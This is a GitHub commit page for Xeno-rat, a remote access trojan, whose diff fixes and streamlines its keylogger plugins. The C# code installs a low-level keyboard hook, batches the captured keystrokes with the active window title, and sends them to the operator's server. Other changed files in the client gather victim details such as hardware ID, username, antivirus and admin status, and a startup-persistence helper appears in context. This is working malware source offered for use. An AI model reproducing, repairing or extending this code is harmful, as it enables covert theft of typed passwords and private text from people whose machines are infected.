Skip to content

Commit

Permalink
fixed another issue with the keylogger that would cause the whole app…
Browse files Browse the repository at this point in the history
…lication to crash. did some various improvements.
  • Loading branch information
moom825 committed Feb 15, 2024
1 parent 4c20453 commit eb8edbd
Show file tree
Hide file tree
Showing 6 changed files with 41 additions and 32 deletions.
38 changes: 19 additions & 19 deletions Plugins/KeyLogger/keyLogger.cs
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
Expand Down Expand Up @@ -34,32 +35,34 @@ public class Main
Node node;


List<string[]> SendQueue = new List<string[]>();

List<string> SendQueue = new List<string>();
public async Task Run(Node node)
{
await node.SendAsync(new byte[] { 3 });//indicate that it has connected

this.node = node;
IntPtr hookHandle=IntPtr.Zero;
new Thread(() =>
{
HookCallbackDelegate hcDelegate = HookCallback;
Process currproc = Process.GetCurrentProcess();
string mainModuleName = currproc.MainModule.ModuleName;
currproc.Dispose();
HookCallbackDelegate hcDelegate = HookCallback;
Process currproc = Process.GetCurrentProcess();
string mainModuleName = currproc.MainModule.ModuleName;
currproc.Dispose();
new Thread(() => {
hookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, hcDelegate, GetModuleHandle(mainModuleName), 0);
Application.Run();
if (!Application.MessageLoop)
{
Application.Run();
}
}).Start();
while (node.Connected())
{
if (SendQueue.Count > 0)
if (SendQueue.Count > 0)
{
if (SendQueue[0].Length != 2) continue;
await sendKeyData(SendQueue[0][0], SendQueue[0][1]);
SendQueue.RemoveAt(0);
string activeWindow = (await Utils.GetCaptionOfActiveWindowAsync()).Replace("*","");
string chars = string.Join("", SendQueue);
SendQueue.Clear();
await sendKeyData(activeWindow, chars);
}
await Task.Delay(10);
await Task.Delay(1);
}
if (hookHandle != IntPtr.Zero)
{
Expand All @@ -70,7 +73,6 @@ public async Task Run(Node node)

public async Task sendKeyData(string open_application, string charectar)
{

if (node == null || !node.Connected()) return;
await node.SendAsync(Encoding.UTF8.GetBytes(open_application));
await node.SendAsync(Encoding.UTF8.GetBytes(charectar));
Expand All @@ -85,11 +87,9 @@ public IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
string character = GetCharacterFromKey((uint)vkCode, isShiftPressed);
if ((((ushort)GetKeyState(0x14)) & 0xffff) != 0)//check for caps lock
{
character= character.ToUpper();
character = character.ToUpper();
}
string open_application = xeno_rat_client.Utils.GetCaptionOfActiveWindow().Replace("*", "");
string[] sendData = new string[] { open_application, character };
SendQueue.Add(sendData);
SendQueue.Add(character);
}
return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
}
Expand Down
17 changes: 9 additions & 8 deletions Plugins/KeyLoggerOffline/KeyLoggerOffline.cs
Original file line number Diff line number Diff line change
Expand Up @@ -238,7 +238,6 @@ public IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
applicationkeylogs.Add(open_application, "");
}
Console.WriteLine(character);
applicationkeylogs[open_application] += character;
}
return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
Expand All @@ -256,7 +255,7 @@ public async Task keylogloop()
string retchar = await GetKey();
if (retchar != null)
{
string open_application = Utils.GetCaptionOfActiveWindow().Replace("*","");
string open_application = (await Utils.GetCaptionOfActiveWindowAsync()).Replace("*","");
if (!applicationkeylogs.ContainsKey(open_application))
{
applicationkeylogs.Add(open_application, "");
Expand Down Expand Up @@ -379,15 +378,17 @@ public async Task Start()
{
if (owner && !started)
{
started = true;
HookCallbackDelegate hcDelegate = HookCallback;
Process currproc = Process.GetCurrentProcess();
string mainModuleName = currproc.MainModule.ModuleName;
currproc.Dispose(); started = true;
new Thread(() =>
{
HookCallbackDelegate hcDelegate = HookCallback;
Process currproc = Process.GetCurrentProcess();
string mainModuleName = currproc.MainModule.ModuleName;
currproc.Dispose();
key_hook = SetWindowsHookEx(WH_KEYBOARD_LL, hcDelegate, GetModuleHandle(mainModuleName), 0);
Application.Run();//this is blocking, fix it
if (!Application.MessageLoop)
{
Application.Run();
}
}).Start();
return;
}
Expand Down
1 change: 1 addition & 0 deletions xeno rat client/DllHandler.cs
Original file line number Diff line number Diff line change
Expand Up @@ -49,6 +49,7 @@ public async Task DllNodeHandler(Node subServer)
{
await subServer.SendAsync(fail);
await subServer.SendAsync(Encoding.UTF8.GetBytes(e.Message));
Console.WriteLine(e.StackTrace);
}
}
private static Assembly CurrentDomain_AssemblyResolve(object sender, ResolveEventArgs args)
Expand Down
6 changes: 3 additions & 3 deletions xeno rat client/Handler.cs
Original file line number Diff line number Diff line change
Expand Up @@ -58,7 +58,7 @@ private async Task GetAndSendInfo(Node Type0)
return;
}
//get hwid, username etc. seperated by null
string clientversion = "1.8.5";//find a way to get the client version.
string clientversion = "1.8.7";//find a way to get the client version.
string[] info = new string[] { Utils.HWID(), Environment.UserName, WindowsIdentity.GetCurrent().Name, clientversion, Utils.GetWindowsVersion(), Utils.GetAntivirus(), Utils.IsAdmin().ToString() };
byte[] data = new byte[0];
byte[] nullbyte = new byte[] { 0 };
Expand Down Expand Up @@ -196,8 +196,8 @@ public async Task DebugMenu(Node subServer, byte[] data)

public async Task SendUpdateInfo(Node node)
{
string currwin = Utils.GetCaptionOfActiveWindow();
string idleTime = (Utils.GetIdleTime()/1000).ToString();
string currwin = await Utils.GetCaptionOfActiveWindowAsync();
string idleTime = ((await Utils.GetIdleTimeAsync()) /1000).ToString();
string update_data = currwin + "\n" + idleTime;
byte[] data=Encoding.UTF8.GetBytes(update_data);
await node.SendAsync(data);
Expand Down
9 changes: 8 additions & 1 deletion xeno rat client/Utils.cs
Original file line number Diff line number Diff line change
Expand Up @@ -49,7 +49,10 @@ internal struct LASTINPUTINFO
public uint dwTime;
}


public static async Task<string> GetCaptionOfActiveWindowAsync()
{
return await Task.Run(() => GetCaptionOfActiveWindow());
}
public static string GetCaptionOfActiveWindow()
{
string strTitle = string.Empty;
Expand Down Expand Up @@ -353,6 +356,10 @@ public static async Task<bool> AddToStartupAdmin(string executablePath, string n
return false;
}

public static async Task<uint> GetIdleTimeAsync()
{
return await Task.Run(() => GetIdleTime());
}
public static uint GetIdleTime()
{
LASTINPUTINFO lastInPut = new LASTINPUTINFO();
Expand Down
2 changes: 1 addition & 1 deletion xeno rat server/MainForm.cs
Original file line number Diff line number Diff line change
Expand Up @@ -57,7 +57,7 @@ public MainForm()
{

InitializeComponent();
this.Text = "Xeno-rat: Created by moom825 - version 1.8.5";
this.Text = "Xeno-rat: Created by moom825 - version 1.8.7";
key = Utils.CalculateSha256Bytes(string_key);

ListeningHandler =new Listener(OnConnect);
Expand Down

0 comments on commit eb8edbd

Please sign in to comment.